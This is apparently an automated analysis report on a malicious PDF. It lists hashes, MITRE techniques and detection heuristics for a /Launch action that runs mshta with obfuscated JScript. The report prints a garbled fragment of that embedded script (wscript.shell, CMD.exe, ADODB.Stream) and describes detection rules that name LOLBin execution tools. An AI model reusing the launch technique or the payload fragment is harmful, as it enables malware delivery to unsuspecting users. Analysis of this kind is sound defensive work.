PDF malware analysis — malicious · 58128aa58518f335

MALICIOUS

PDF

100.2 KB

MD5: 42e1fef0de3797fca1c8cd0b3b96d117 SHA-1: c283f4261deaca6d0e789fa04fae51918ccee463 SHA-256: 58128aa58518f3350c7b70fe781a3b40cba885bae93ac88ca8623fe7d6e8fb4b

348 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1218.009 System Binary Proxy Execution: Mshta

The PDF file contains a launch action that targets mshta.exe, a legitimate Windows utility often abused by attackers. The embedded JavaScript, reconstructed as 'javascript:e=String.fromCharCode;new ActiveXObject(\'wscript.shell\' 'CMD.exe /c FOR /F yusebackqdelims=y %i IN (`dir /b *.PDF` /y/g,e(34 1 "ADODB.Recordset" "ADODB.Stream" bs mid(bs,k,4096 ss "b" 0 ""b"" l/2 "WScript.Shell" s 4 3 s mid(s,i+j,1 j 0 0 1 1 1 2 2 2 3 j b(j "WScript.Shell"', is highly obfuscated but appears to be designed to download and execute a second-stage payload. This technique is commonly used for initial access and malware delivery.

Heuristics 8

/Launch action target: Mshta critical PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '"javascript:e=String.fromCharCode;new ActiveXObject('wscript.shell'' — references a known-dangerous executable (cmd, PowerShell, etc.).
/Launch action targets mshta.exe (LOLBIN) critical PDF_LAUNCH_MSHTA

PDF contains a /Launch action whose /F parameter names mshta — Microsoft's legacy HTML Application host, used as a LOLBIN to run inline JScript/VBScript from a /P parameter (typically a `javascript:` URL). MITRE ATT&CK T1218.005.
/Launch /P parameter is a javascript: URL critical PDF_LAUNCH_JS_PROTOCOL

PDF /Launch action passes a `javascript:` URL as the /P parameter — mshta interprets this as JScript when used as the launched handler, giving inline script execution without a separate payload file. MITRE ATT&CK T1218.005 + T1059.005.
Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
Visible LOLBin command execution instruction high SE_LOLBIN_RUN_COMMAND

Document contains instructions or visible command text involving Windows script/execution tools such as PowerShell, mshta, cmd, rundll32, or regsvr32
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
String.fromCharCode low PDF_FROMCHARCODE

String.fromCharCode found — used to construct payload strings dynamically. Common in benign JavaScript libraries for codepoint manipulation, so this alone is informational; weaponised use is also caught by the dedicated fromCharCode-stage and exploit-shape rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_00000366.bin` `0a4af2107349926725d11e7e467dc99fc3f729cf728b36005d7f8bf7c2e64e28`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x366	67 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s). Carved artifact contains 1 eval/decoder/string-building token(s).

Open this report in the interactive analyzer, or submit your own file for analysis.